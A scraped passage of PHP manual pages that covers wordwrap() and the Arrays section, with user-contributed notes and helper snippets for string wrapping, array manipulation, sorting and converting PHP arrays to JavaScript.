     $strs = explode($br,$tstr);
     $retstr = "";
     foreach ($strs as $str) {
          $retstr .= wordwrap($str,$len,$br) . $br;
     }
     return $retstr;
}
?>

I used a function like this for pulling quotes for my email out of a mysql database and formatting them for use in an email. Some quotes had multiple lines (e.g. a short conversation-style quote) that I wanted to maintain yet still word-wrap correctly.

[EDIT BY danbrown AT php DOT net: Contains a bugfix by (ajd AT cloudiness DOT com) on 13-JUN-05 to address the incorrect order of parameters passed to explode().]
09-May-2005 10:33
Note that wordwrap is meant for...wrapping words.  If you're simply trying to break a string into evenly sized pieces, take a look at chunk_split and str_split.
bruceboughton @ google mail 04-May-2005 03:08
I found that wordwrap deletes the spaces it wraps on. If you want to break up a string which doesn't consist of words, you may find this behaviour undesirable, as I did when trying to wordwrap a Regular Expression to 80 characters (for display along with test string, matches, etc.).

To preserve the spaces and still achieve a consistent cut length, you need to replace spaces with a suitable one-character replacement. I chose the ASCII non-printing character SUB (ASCII #26; some old telephone code meaning substitute):

<?php
$regex= str_replace(' ', chr(26), $regex);
$regex= wordwrap($regex, 80, '<br />', TRUE);
$regex= str_replace(chr(26), ' ', $regex);
?>

(Of course, you need to replace 80 with your column length and '<br />' with your break string)
grey - greywyvern - com 29-Sep-2004 12:31
Here's an HTML wrapping + nl2br function I developed.  It inserts line-breaks into long strings of characters in HTML-formatted text while ignoring tags and entities.  It also counts each entity as a single character, and only applies nl2br to text nodes.  You can also tell it to ignore whole elements, like <pre> where adding <br /> isn't necessary.

Great for formatting HTML generated by user input.  I distribute simple forum and blog scripts where codes input by the user are translated to HTML.  I send the result through this function to format it correctly and make sure they don't maliciously type in long words in order to break my layout.

http://www.greywyvern.com/code/php/htmlwrap_1.0.php.txt
sych at php dot com dot ua 20-Aug-2004 01:25
wordwrap doesn't know about UTF and considers a multi-byte utf characters as as many characters as there are bytes in there. However, it will still break correctly on " " and "#" (or all other characters in the ascii range (0-127).

However, this is not a bug as it was only meant to work on iso-8859-*.
shaun at phplabs dot com 25-Dec-2002 03:24
Here's some code which will turn text into a quoted message, that is, split a chunk of text into wrapped lines and prefix each line of text with a > sign (or some other delimiter). I found myself using this snippet so many times while writing an autoresponder that I just dropped it into a function.

<?php
function mailquote($text, $marker){
  $text = str_replace("\n", "\n$marker", wordwrap($text, 70));
  return $text;
}
?>

e.g.

mailquote($text, "> ");

> Would result in a long passage of text
> being broken into multiple lines, each
> line starting with a traditional "quote"
> marker, like this.
25-Aug-2002 12:40
Instead of using a space or a newline or <br /> as the line break separator, you may consider inserting  "Soft Hyphens" within the middle of long words, allowing elegant word breaking that can use the effective browser layout that is dependant of the effective font that the browser will use.

The "Soft Hyphen" (SHY) character is part of the STANDARD ISO-8859-1 character set: it won't be displayed (i.e. it will have width 0) if the two parts of a word can be displayed by the browser along on the same layout row. However it allows the browser to find a break in the middle of long words: in that case, it will display the first part of the word before the "Soft Hyphen", and a true Hyphen ("-") on the first layout row (if they both fit on that row), and the next part after the "Soft Hyphen" on the following layout row.

Ideally, each word should contain at least one "Soft Hyphen" between each syllable of a word, unless this would place a "Soft Hyphen" with less than 3 characters from the beginning or end of the word. So "Soft Hyphens" must not be inserted within words with 1 to 5 characters.

The Soft Hyphen is only appropriate within textual words using Latin, Greek, Cyrillic characters). For Semitic languages that use right to left scripts, the "Soft Hyphen" should be replaced by a "Soft Line Break" (also called "Zero Width Non Joiner" in Unicode).

This "Soft Line Break" always has a null display width (i.e. it is never displayed), except that it allows inserting a line break.

Some characters are already implicitly considered followed by a "Soft Line Break" in browsers: the explicit hyphen within composed words (like "week-end"), and all punctuations (with the exception of the dot, and opening punctuations like "({[" which are instead _preceded_ by an implicit "Soft Line Break").

Note also that some new browsers can insert themselves "Soft Hyphens" or "Soft Line Breaks" within long words, if the HTML page explicitly specifies the language, and the words are restricted to the natural characters of that language, using hyphenation rules and/or dictionnaries defined for that language.

Currently, the HTML standard offers no way to specify a set of hyphenation rules along with the page (so that it would work in absence of a known dictionnary for that language), so soft hyphens or line breaks should be placed in the content.
warwallace at [nospam]wargardens dot com 21-Jul-2002 09:44
It is also possible to consider this function as a tool for making text wrappable rather than simply for forcing wrapping.

In other words, use a space as the break - rather than "br /" or "p" or \n or whatever - and the text becomes wrappable.

<?php
$input = "I want to annoy you by inserting long wooooooooooooooooooooooooooooooooorrrrrrdddss into your guestbook.";
$output = wordwrap($input, 40, ' ', 1);
?>

Will insert spaces into the words longer than 40 characters make the text wrappable by the browser.
toxic79_spam at yahoo dot com 11-Jul-2002 08:02
I've noticed that if you have a string of, say, 8 characters and you set it to wrap at 8 characters with a break tag it will add the break tag after the 8th character even if the string is only 8 characters long. this was frustrating because I only wanted the break tag if there would be more text after it. it would be cool to have a flag that would stop this from happening, or a flag that would put the break tag (or whatever you use) before the number you break on, so you could set it to break every 9th character and it would only insert the tag after the 8th if there are more than 8 characters.

until then, however, here is my lame fix. $str is the string to wrap, $num is the number of characters to wrap after and $break is the text to use to wrap the string.

<?php
function my_wordwrap( $str, $num, $break )
{
    // get the wordwrapped string
    $tmp_str = wordwrap( trim( $str ), $num, $break, 1 );

    // get the string length of the breaking tag
    $strlen_break = strlen( $break );

    // if the last $strlen_break characters of the wordwrapped string is $break ...
    if ( substr( $tmp_str, ( 0 - $strlen_break )) == $break )
    {
        // strip the last $strlen_break characters off the end
        $tmp_str = substr( $tmp_str, 0, count( $tmp_str ) - $strlen_break - 1 );
    }

    // return the results
    return $tmp_str;
}
?>
ekgerke at yahoo dot com 11-Mar-2002 10:39
If the last line of string does not end with newline character, wordwrap tends to add trailing garbage.
timf at tfountain dot co dot uk 01-Jan-2002 03:18
If you're having problems with a small fixed width table/table cell being stretched by people typing entering long text (such as a URL or an email address), then one (MSIE only, unfortunately) solution is to use style="table-layout:fixed" in the <table> tag.  This will break any words that would normally expand your table and mess up your layout.

wordwrap() can't help in this situation because you want to wrap if the text is wider than X pixels, rather than X characters, which of course PHP has know way of knowing.
vsprintf
Variable and Type Related Extensions
String Functions


Variable and Type Related Extensions

  • Arrays
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Sorting Arrays
    • Array Functions
  • Classes/Objects — Class/Object Information
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Classes/Object Functions
  • Classkit
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Classkit Functions
  • Ctype — Character type checking
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Ctype Functions
  • Filter — Data Filtering
    • Introduction
    • Installing/Configuring
    • Types of filters
    • Predefined Constants
    • Examples
    • Filter Functions
  • Function Handling
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Function handling Functions
  • Object Aggregation — Object Aggregation/Composition [PHP 4]
    • Introduction
    • Examples
    • Object Aggregation Functions
  • Quickhash
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • QuickHashIntSet — The QuickHashIntSet class
    • QuickHashIntHash — The QuickHashIntHash class
    • QuickHashStringIntHash — The QuickHashStringIntHash class
    • QuickHashIntStringHash — The QuickHashIntStringHash class
  • Reflection
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Examples
    • Extending
    • Reflection — The Reflection class
    • ReflectionClass — The ReflectionClass class
    • ReflectionZendExtension — The ReflectionZendExtension class
    • ReflectionExtension — The ReflectionExtension class
    • ReflectionFunction — The ReflectionFunction class
    • ReflectionFunctionAbstract — The ReflectionFunctionAbstract class
    • ReflectionMethod — The ReflectionMethod class
    • ReflectionObject — The ReflectionObject class
    • ReflectionParameter — The ReflectionParameter class
    • ReflectionProperty — The ReflectionProperty class
    • Reflector — The Reflector interface
    • ReflectionException — The ReflectionException class
  • Variable handling
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Variable handling Functions

User Contributed Notes

There are no user contributed notes for this page.
wordwrap
Arrays
Function Reference


Arrays

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Sorting Arrays
  • Array Functions
    • array_change_key_case — Changes all keys in an array
    • array_chunk — Split an array into chunks
    • array_combine — Creates an array by using one array for keys and another for its values
    • array_count_values — Counts all the values of an array
    • array_diff_assoc — Computes the difference of arrays with additional index check
    • array_diff_key — Computes the difference of arrays using keys for comparison
    • array_diff_uassoc — Computes the difference of arrays with additional index check which is performed by a user supplied callback function
    • array_diff_ukey — Computes the difference of arrays using a callback function on the keys for comparison
    • array_diff — Computes the difference of arrays
    • array_fill_keys — Fill an array with values, specifying keys
    • array_fill — Fill an array with values
    • array_filter — Filters elements of an array using a callback function
    • array_flip — Exchanges all keys with their associated values in an array
    • array_intersect_assoc — Computes the intersection of arrays with additional index check
    • array_intersect_key — Computes the intersection of arrays using keys for comparison
    • array_intersect_uassoc — Computes the intersection of arrays with additional index check, compares indexes by a callback function
    • array_intersect_ukey — Computes the intersection of arrays using a callback function on the keys for comparison
    • array_intersect — Computes the intersection of arrays
    • array_key_exists — Checks if the given key or index exists in the array
    • array_keys — Return all the keys or a subset of the keys of an array
    • array_map — Applies the callback to the elements of the given arrays
    • array_merge_recursive — Merge two or more arrays recursively
    • array_merge — Merge one or more arrays
    • array_multisort — Sort multiple or multi-dimensional arrays
    • array_pad — Pad array to the specified length with a value
    • array_pop — Pop the element off the end of array
    • array_product — Calculate the product of values in an array
    • array_push — Push one or more elements onto the end of array
    • array_rand — Pick one or more random entries out of an array
    • array_reduce — Iteratively reduce the array to a single value using a callback function
    • array_replace_recursive — Replaces elements from passed arrays into the first array recursively
    • array_replace — Replaces elements from passed arrays into the first array
    • array_reverse — Return an array with elements in reverse order
    • array_search — Searches the array for a given value and returns the corresponding key if successful
    • array_shift — Shift an element off the beginning of array
    • array_slice — Extract a slice of the array
    • array_splice — Remove a portion of the array and replace it with something else
    • array_sum — Calculate the sum of values in an array
    • array_udiff_assoc — Computes the difference of arrays with additional index check, compares data by a callback function
    • array_udiff_uassoc — Computes the difference of arrays with additional index check, compares data and indexes by a callback function
    • array_udiff — Computes the difference of arrays by using a callback function for data comparison
    • array_uintersect_assoc — Computes the intersection of arrays with additional index check, compares data by a callback function
    • array_uintersect_uassoc — Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions
    • array_uintersect — Computes the intersection of arrays, compares data by a callback function
    • array_unique — Removes duplicate values from an array
    • array_unshift — Prepend one or more elements to the beginning of an array
    • array_values — Return all the values of an array
    • array_walk_recursive — Apply a user function recursively to every member of an array
    • array_walk — Apply a user function to every member of an array
    • array — Create an array
    • arsort — Sort an array in reverse order and maintain index association
    • asort — Sort an array and maintain index association
    • compact — Create array containing variables and their values
    • count — Count all elements in an array, or something in an object
    • current — Return the current element in an array
    • each — Return the current key and value pair from an array and advance the array cursor
    • end — Set the internal pointer of an array to its last element
    • extract — Import variables into the current symbol table from an array
    • in_array — Checks if a value exists in an array
    • key — Fetch a key from an array
    • krsort — Sort an array by key in reverse order
    • ksort — Sort an array by key
    • list — Assign variables as if they were an array
    • natcasesort — Sort an array using a case insensitive "natural order" algorithm
    • natsort — Sort an array using a "natural order" algorithm
    • next — Advance the internal array pointer of an array
    • pos — Alias of current
    • prev — Rewind the internal array pointer
    • range — Create an array containing a range of elements
    • reset — Set the internal pointer of an array to its first element
    • rsort — Sort an array in reverse order
    • shuffle — Shuffle an array
    • sizeof — Alias of count
    • sort — Sort an array
    • uasort — Sort an array with a user-defined comparison function and maintain index association
    • uksort — Sort an array by keys using a user-defined comparison function
    • usort — Sort an array by values using a user-defined comparison function

User Contributed Notes

fo dot q dot who at gmail dot com 06-Apr-2011 04:37
Just another way to pass a multidimensional php array to a js array, but i think a cool one so I decided to put this on here.

<?php

function array_print($item, $key, $array_name)
{
    if(is_array($item)){
        $array_name = $array_name."['".$key."']";
        echo $array_name ."= Array();". "";
        php_array_to_js_array($item, $array_name);
    }else{
        echo $array_name."['".$key."'] = \"".$item."\";";
    }
}

function php_array_to_js_array($array, $array_name){
    array_walk($array, 'array_print', $array_name);
}

?>
<script type="text/javascript" defer="defer">
<?php
        echo "js_array = Array();";
        php_array_to_js_array($array, "js_array");

?>
</script>

there is not much to say about that, its simple and understandable, i think... if not just email me. Have a nice day pplz !!

Patrick F.
info at curtinsNOSPAMcreations dot com 05-Nov-2010 07:49
Another way to create a multidimensional array that looks a lot cleaner is to use json_decode.  (Note that this probably adds a touch of overhead, but it sure does look nicer.)  You can of course add as many levels and as much formatting as you'd like to the string you then decode.  Don't forget that json requires " around values, not '!!  (So, you can't enclose the json string with " and use ' inside the string.)

As an example:

<?php
    $myarray['blah'] = json_decode('[
        {"label":"foo","name":"baz"},
        {"label":"boop","name":"beep"}
    ]',true);

print_r($myarray)
?>
returns:

Array
(
    [blah] => Array
        (
            [0] => Array
                (
                    [label] => foo
                    [name] => baz
                )

            [1] => Array
                (
                    [label] => boop
                    [name] => beep
                )
        )
)
dragos dot rusu at NOSPAM dot bytex dot ro 07-Mar-2010 06:15
If an array item is declared with key as NULL, array key will automatically be converted to empty string '', as follows:

<?php
$a = array(
    NULL => 'zero',
    1    => 'one',
    2    => 'two');

// This will show empty string for key associated with "zero" value
var_dump(array_keys($a));

// Array elements are shown
reset($a);
while( key($a) !== NULL )
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}

// Array elements are not shown
reset($a);
while( key($a) != NULL ) // '' == null   => no iteration will be executed
{
  echo key($a) . ": ".current($a) . "<br>";// PHP_EOL
  next($a);
}
John Marc 15-Feb-2010 01:30
Be careful when adding elements to a numeric array.
I wanted to store some info about some items from a database and decided to use the record id as a key.

<?php
$key=3000000000;
$DATA[$key]=true;
?>

This will create an array of 30 million elements and chances are, you will use up all memory with these 2 lines

<?php
$key=3000000000;
$DATA["$key"]=true;
?>

This on the other hand will force the array to be an associative array and will only create the one element
sunear at gmail dot com 04-Aug-2009 10:45
Made this function to delete elements in an array;

<?php

function array_del_elm($input_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    $del_indexes = null;

    $cur_index = 0;
    if (sort($indexes)) for($i=0; $i<count($input_array); $i++) {
        if ($i == $indexes[$cur_index]) {
            $cur_index++;
            if ($cur_index == count($indexes)) return $output_array;
            continue;
        }
        $output_array[] = $input_array[$i];
    }
    return $output_array;
}

?>

but then i saw the methods of doing the same by Tyler Bannister & Paul, could see that theirs were faster, but had floors regarding deleting multiple elements thus support of several ways of giving parameters. I combined the two methods to this to this:

<?php

function array_del_elm($target_array, $del_indexes) {
    if (is_array($del_indexes)) {
        $indexes = $del_indexes;
    } elseif(is_string($del_indexes)) {
        $indexes = explode($del_indexes, " ");
    } elseif(is_numeric($del_indexes)) {
        $indexes[0] = (integer)$del_indexes;
    } else return;
    unset($del_indexes);

    for($i=0; $i<count($indexes); $i++) {
        unset($target_array[$indexes[$i]]);
    }
    return $target_array;
}

?>

Fast, compliant and functional ;)
Tyler Bannister 11-Jun-2009 06:59
To delete an individual array element use the unset function

For example:

<?PHP
    $arr = array( "A", "B", "C" );
    unset( $arr[1] );
    // now $arr = array( "A", "C" );
?>

Unlink is for deleting files.
thomasdecaux at ebuildy dot com 15-May-2009 01:14
To browse a simple array:

<?php

foreach ($myArray AS $myItem)
{

}

?>

To browse an associative array:

<?php

foreach ($myArray AS $key=>$value)
{

}

?>

http://www.ebuildy.com
macnimble at gmail dot com 27-Mar-2009 06:59
Converting a linear array (like a mysql record set) into a tree, or multi-dimensional array can be a real bugbear. Capitalizing on references in PHP, we can 'stack' an array in one pass, using one loop, like this:

<?php
# array_stack()
# Original idea from:
# http://www.ideashower.com/our_solutions/
#   create-a-parent-child-array-structure-in-one-pass/
function array_stack (&$a, $p = '@parent', $c = '@children')
{
  $l = $t = array();
  foreach ($a AS $key => $val):
    if (!$val[$p]) $t[$key] =& $l[$key];
    else $l[$val[$p]][$c][$key] =& $l[$key];
    $l[$key] = (array)$l[$key] + $val;
  endforeach;
  return $a = array('tree' => $t, 'leaf' => $l);
}

# Example:
$node = array();
$node[1] = array('@parent' => 0, 'title' => 'I am node 1.');
#     ^-----------------------v Link @parent value to key.
$node[2] = array('@parent' => 1, 'title' => 'I am node 2.');
$node[3] = array('@parent' => 2, 'title' => 'I am node 3.');
$node[4] = array('@parent' => 1, 'title' => 'I am node 4.');
$node[5] = array('@parent' => 4, 'title' => 'I am node 5.');

array_stack($node);

$node['leaf'][1]['title'] = 'I am node one.';
$node['leaf'][2]['title'] = 'I am node two.';
$node['leaf'][3]['title'] = 'I am node three.';
$node['leaf'][4]['title'] = 'I am node four.';
$node['leaf'][5]['title'] = 'I am node five.';

echo '<pre>',print_r($node['tree'],TRUE),'</pre>';
?>

Note that there's no parameter checking on the array value, but this is only to keep the function size small. One could easily a quick check in there to make sure the $a parameter was in fact an array.

Hope you find it useful. Huge thanks to Nate Weiner of IdeaShower.com for providing the original function I built on.
andyd273 at gmail dot com 24-Feb-2009 01:12
A small correction to Endel Dreyer's PHP array to javascript array function. I just changed it to show keys correctly:

            function array2js($array,$show_keys)
            {
                $dimensoes = array();
                $valores = array();

                $total = count ($array)-1;
                $i=0;
                foreach($array as $key=>$value){
                    if (is_array($value)) {
                        $dimensoes[$i] = array2js($value,$show_keys);
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    } else {
                        $dimensoes[$i] = '"'.addslashes($value).'"';
                        if ($show_keys) $dimensoes[$i] = '"'.$key.'":'.$dimensoes[$i];
                    }
                    if ($i==0) $dimensoes[$i] = '{'.$dimensoes[$i];
                    if ($i==$total) $dimensoes[$i].= '}';
                    $i++;
                }
                return implode(',',$dimensoes);
            }
Endel Dreyer 20-Jan-2009 04:16
Function to convert PHP arrays to JavaScript Array Object:
Useful in some cases.

<?php
function array2js($array,$show_keys=false)
{
    $dimensoes = array();
    $valores = array();

    $total = count ($array)-1;
    $i=0;
    foreach ($array as $key => $value) {
        if (is_array($value)) {
            $dimensoes[$i] = array2js($value,$show_keys);
        } else {
            $dimensoes[$i] = '"'.addslashes($value).'"';
            if ($show_keys) '"'.$key.'":'.$dimensoes[$i];
        }
        if ($i==0) $dimensoes[$i] = '['.$dimensoes[$i];
        if ($i==$total) $dimensoes[$i].= ']';
        $i++;
    }
    return implode(',',$dimensoes);
}
?>
Anonymous 26-Nov-2008 10:36
@jorge at andrade dot cl
This variant is faster:
<?php
function array_avg($array,$precision=2){
    if(!is_array($array))
        return 'ERROR in function array_avg(): this is a not array';

    foreach($array as $value)
        if(!is_numeric($value))
            return 'ERROR in function array_avg(): the array contains one or more non-numeric values';

    $cuantos=count($array);
  return round(array_sum($array)/$cuantos,$precision);
}
?>
jorge at andrade dot cl 12-Nov-2008 12:03
To calculate the average of a array

<?php
function array_avg($array,$precision="2"){
    $a=0;
    if(is_array($array)){
        foreach($array as $value):
            if(!is_numeric($value)){
                $a++;
            }
        endforeach;
        if($a==0){
            $cuantos=count($array);
            return round(array_sum($array)/$cuantos,$precision);
        }else{
            return "ERROR in function array_avg(): the array contains one or more non-numeric values";
        }
    }else{
        return "ERROR in function array_avg(): this is a not array";
    }
}
?>
alan dot lake at lakeinfoworks dot com 22-Oct-2008 08:46
To delete an array key (and its value) from an array:

<?php
    function array_delete(&$ary,$key_to_be_deleted)
    {
        $new = array();
        if(is_string($key_to_be_deleted)) {
            if(!array_key_exists($key_to_be_deleted,$ary)) {
                return;
            }
            foreach($ary as $key => $value) {
                if($key != $key_to_be_deleted) {
                    $new[$key] = $value;
                }
            }
            $ary = $new;
        }
        if(is_array($key_to_be_deleted)) {
            foreach($key_to_be_deleted as $del) {
                array_delete(&$ary,$del);
            }
        }
    }
?>
webmaster at infoproducts dot x10hosting dot com 10-Oct-2008 07:13
New value can also be added to the array as shown below.
$theVariable["google"] = "http//google.com";
or
$theVariable["1"] = "http//google.com";
Jack A 07-Oct-2008 08:14
Note that arrays are not allowed in class constants and trying to do so will throw a fatal error.
contact at greyphoenix dot biz 30-Jun-2008 09:36
<?php
//Creating a multidimensional array

$theVariable = array("Search Engines" =>
array (
    0=> "http//google.com",
    1=> "http//yahoo.com",
    2=> "http//msn.com/"),

"Social Networking Sites" =>
array (
    0 => "http//www.facebook.com",
    1 => "http//www.myspace.com",
    2 => "http//vkontakte.ru",)
);

echo "The first array value is " . $theVariable['Search Engines'][0];
?>

-- Output--
The first array value is http://google.com
applegrew at rediffmail dot com 28-May-2008 08:23
For newbies like me.

Creating new arrays:-
//Creates a blank array.
$theVariable = array();

//Creates an array with elements.
$theVariable = array("A", "B", "C");

//Creating Associaive array.
$theVariable = array(1 => "http//google.com", 2=> "http://yahoo.com");

//Creating Associaive array with named keys
$theVariable = array("google" => "http//google.com", "yahoo"=> "http://yahoo.com");

Note:
New value can be added to the array as shown below.
$theVariable[] = "D";
$theVariable[] = "E";
Variable and Type Related Extensions
Introduction
Variable and Type Related Extensions


Introduction

These functions allow you to interact with and manipulate arrays in various ways. Arrays are essential for storing, managing, and operating on sets of variables.

Simple and multi-dimensional arrays are supported, and may be either user created or created by another function. There are specific database handling functions for populating arrays from database queries, and several functions return arrays.

Please see the Arrays section of the manual for a detailed explanation of how arrays are implemented and used in PHP. See also Array operators for other ways how to manipulate the arrays.

User Contributed Notes

There are no user contributed notes for this page.
Arrays
Installing/Configuring
Arrays


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Arrays


Predefined Constants

The constants below are always available as part of the PHP core.

CASE_LOWER (integer)
CASE_LOWER is used with array_change_key_case() and is used to convert array keys to lower case. This is also the default case for array_change_key_case().
CASE_UPPER (integer)
CASE_UPPER is used with array_change_key_case() and is used to convert array keys to upper case.

Sorting order flags:

SORT_ASC (integer)
SORT_ASC is used with array_multisort() to sort in ascending order.
SORT_DESC (integer)
SORT_DESC is used with array_multisort() to sort in descending order.

Sorting type flags: used by various sort functions

SORT_REGULAR (integer)
SORT_REGULAR is used to compare items normally.
SORT_NUMERIC (integer)
SORT_NUMERIC is used to compare items numerically.
SORT_STRING (integer)
SORT_STRING is used to compare items as strings.
SORT_LOCALE_STRING (integer)
SORT_LOCALE_STRING is used to compare items as strings, based on the current locale. Added in PHP 4.4.0 and 5.0.2.

COUNT_NORMAL (integer)
COUNT_RECURSIVE (integer)
EXTR_OVERWRITE (integer)
EXTR_SKIP (integer)
EXTR_PREFIX_SAME (integer)
EXTR_PREFIX_ALL (integer)
EXTR_PREFIX_INVALID (integer)
EXTR_PREFIX_IF_EXISTS (integer)
EXTR_IF_EXISTS (integer)
EXTR_REFS (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Sorting Arrays
Arrays


Sorting Arrays

PHP has several functions that deal with sorting arrays, and this document exists to help sort it all out.

The main differences are:

  • Some sort based on the array keys, whereas others by the values: $array['key'] = 'value';
  • Whether or not the correlation between the keys and values are maintained after the sort, which may mean the keys are reset numerically (0,1,2 ...)
  • The order of the sort: alphabetical, low to high (ascending), high to low (descending), numerical, natural, random, or user defined
  • Note: All of these sort functions act directly on the array variable itself, as opposed to returning a new sorted array
  • If any of these sort functions evaluates two members as equal then the order is undefined (the sorting is not stable).

Sorting function attributes
Function name | Sorts by | Maintains key association | Order of sort | Related functions
array_multisort() | value | associative yes, numeric no | first array or sort options | array_walk()
asort() | value | yes | low to high | arsort()
arsort() | value | yes | high to low | asort()
krsort() | key | yes | high to low | ksort()
ksort() | key | yes | low to high | asort()
natcasesort() | value | yes | natural, case insensitive | natsort()
natsort() | value | yes | natural | natcasesort()
rsort() | value | no | high to low | sort()
shuffle() | value | no | random | array_rand()
sort() | value | no | low to high | rsort()
uasort() | value | yes | user defined | uksort()
uksort() | key | yes | user defined | uasort()
usort() | value | no | user defined | uasort()

User Contributed Notes

oculiz at gmail dot com 12-Mar-2011 09:57
Another way to do a case case-insensitive sort by key would simply be:

<?php
uksort($array, 'strcasecmp');
?>

Since strcasecmp is already predefined in php it saves you the trouble to actually write the comparison function yourself.
K.i.n.g.d.r.e.a.d 06-Apr-2010 06:29
If you search a feature which sorts an array incasesensitive by key, try this:

<?php
function isort($a,$b) {
    return strtolower($a)>strtolower($b);
}
uksort($array, "isort");
?>
Dirk 29-Mar-2010 01:32
If you need to perform any of these sort functions on an array containing two or more equivalent values, you can get the equivalents to fall next to each other within the overall ordering (similar to how MySQL's ORDER BY works...) instead of breaking the sort() function, by using ksort() as a second parameter to arbitrarily distinguish any equivalent values by their unique keys:

<?php

sort($array, ksort($array));

?>

Seems like this effect should be built in.  At least the workaround is so short...
Predefined Constants
Array Functions
Arrays


Array Functions

See Also

See also is_array(), explode(),
implode(), split(),
preg_split(), and unset().

Table of Contents

  • array_change_key_case — Changes all keys in an array
  • array_chunk — Split an array into chunks
  • array_combine — Creates an array by using one array for keys and another for its values
  • array_count_values — Counts all the values of an array
  • array_diff_assoc — Computes the difference of arrays with additional index check
  • array_diff_key — Computes the difference of arrays using keys for comparison
  • array_diff_uassoc — Computes the difference of arrays with additional index check which is performed by a user supplied callback function
  • array_diff_ukey — Computes the difference of arrays using a callback function on the keys for comparison
  • array_diff — Computes the difference of arrays
  • array_fill_keys — Fill an array with values, specifying keys
  • array_fill — Fill an array with values
  • array_filter — Filters elements of an array using a callback function
  • array_flip — Exchanges all keys with their associated values in an array
  • array_intersect_assoc — Computes the intersection of arrays with additional index check
  • array_intersect_key — Computes the intersection of arrays using keys for comparison
  • array_intersect_uassoc — Computes the intersection of arrays with additional index check, compares indexes by a callback function
  • array_intersect_ukey — Computes the intersection of arrays using a callback function on the keys for comparison
  • array_intersect — Computes the intersection of arrays
  • array_key_exists — Checks if the given key or index exists in the array
  • array_keys — Return all the keys or a subset of the keys of an array
  • array_map — Applies the callback to the elements of the given arrays
  • array_merge_recursive — Merge two or more arrays recursively
  • array_merge — Merge one or more arrays
  • array_multisort — Sort multiple or multi-dimensional arrays
  • array_pad — Pad array to the specified length with a value
  • array_pop — Pop the element off the end of array
  • array_product — Calculate the product of values in an array
  • array_push — Push one or more elements onto the end of array
  • array_rand — Pick one or more random entries out of an array
  • array_reduce — Iteratively reduce the array to a single value using a callback function
  • array_replace_recursive — Replaces elements from passed arrays into the first array recursively
  • array_replace — Replaces elements from passed arrays into the first array
  • array_reverse — Return an array with elements in reverse order
  • array_search — Searches the array for a given value and returns the corresponding key if successful
  • array_shift — Shift an element off the beginning of array
  • array_slice — Extract a slice of the array
  • array_splice — Remove a portion of the array and replace it with something else
  • array_sum — Calculate the sum of values in an array
  • array_udiff_assoc — Computes the difference of arrays with additional index check, compares data by a callback function
  • array_udiff_uassoc — Computes the difference of arrays with additional index check, compares data and indexes by a callback function
  • array_udiff — Computes the difference of arrays by using a callback function for data comparison
  • array_uintersect_assoc — Computes the intersection of arrays with additional index check, compares data by a callback function
  • array_uintersect_uassoc — Computes the intersection of arrays with additional index check, compares data and indexes by a callback functions
  • array_uintersect — Computes the intersection of arrays, compares data by a callback function
  • array_unique — Removes duplicate values from an array
  • array_unshift — Prepend one or more elements to the beginning of an array
  • array_values — Return all the values of an array
  • array_walk_recursive — Apply a user function recursively to every member of an array
  • array_walk — Apply a user function to every member of an array
  • array — Create an array
  • arsort — Sort an array in reverse order and maintain index association
  • asort — Sort an array and maintain index association
  • compact — Create array containing variables and their values
  • count — Count all elements in an array, or something in an object
  • current — Return the current element in an array
  • each — Return the current key and value pair from an array and advance the array cursor
  • end — Set the internal pointer of an array to its last element
  • extract — Import variables into the current symbol table from an array
  • in_array — Checks if a value exists in an array
  • key — Fetch a key from an array
  • krsort — Sort an array by key in reverse order
  • ksort — Sort an array by key
  • list — Assign variables as if they were an array
  • natcasesort — Sort an array using a case insensitive "natural order" algorithm
  • natsort — Sort an array using a "natural order" algorithm
  • next — Advance the internal array pointer of an array
  • pos — Alias of current
  • prev — Rewind the internal array pointer
  • range — Create an array containing a range of elements
  • reset — Set the internal pointer of an array to its first element
  • rsort — Sort an array in reverse order
  • shuffle — Shuffle an array
  • sizeof — Alias of count
  • sort — Sort an array
  • uasort — Sort an array with a user-defined comparison function and maintain index association
  • uksort — Sort an array by keys using a user-defined comparison function
  • usort — Sort an array by values using a user-defined comparison function

User Contributed Notes

dave at davidhbrown dot us 24-Sep-2011 11:57
While PHP has well over three-score array functions, array_rotate is strangely missing as of PHP 5.3. Searching online offered several solutions, but the ones I found have defects such as inefficiently looping through the array or ignoring keys.

The following array_rotate() function uses array_merge and array_shift to reliably rotate an array forwards or backwards, preserving keys. If you know you can trust your $array to be an array and $shift to be between 0 and the length of your array, you can skip the function definition and use just the return expression in your code.

<?php
function array_rotate($array, $shift) {
    if(!is_array($array) || !is_numeric($shift)) {
        if(!is_array($array)) error_log(__FUNCTION__.' expects first argument to be array; '.gettype($array).' received.');
        if(!is_numeric($shift)) error_log(__FUNCTION__.' expects second argument to be numeric; '.gettype($shift)." `$shift` received.");
        return $array;
    }
    $shift %= count($array); //we won't try to shift more than one array length
    if($shift < 0) $shift += count($array);//handle negative shifts as positive
    return array_merge(array_slice($array, $shift, NULL, true), array_slice($array, 0, $shift, true));
}
?>
A few simple tests:
<?php
$array=array("foo"=>1,"bar"=>2,"baz"=>3,4,5);

print_r(array_rotate($array, 2));
print_r(array_rotate($array, -2));
print_r(array_rotate($array, count($array)));
print_r(array_rotate($array, "4"));
print_r(array_rotate($array, -9));
?>
Nitrogen 12-Sep-2010 08:17
I made a simple little function to make an array (containing readable data) presentable in human form.
I added some error checking, too.. (if it's not human-readable, don't include it).
<?php
function Combine($Input) {
  if(!is_array($Input)) // I only want arrays.
    return(false);

  // remove named index (only numeric index)
  $Input=array_values($Input);

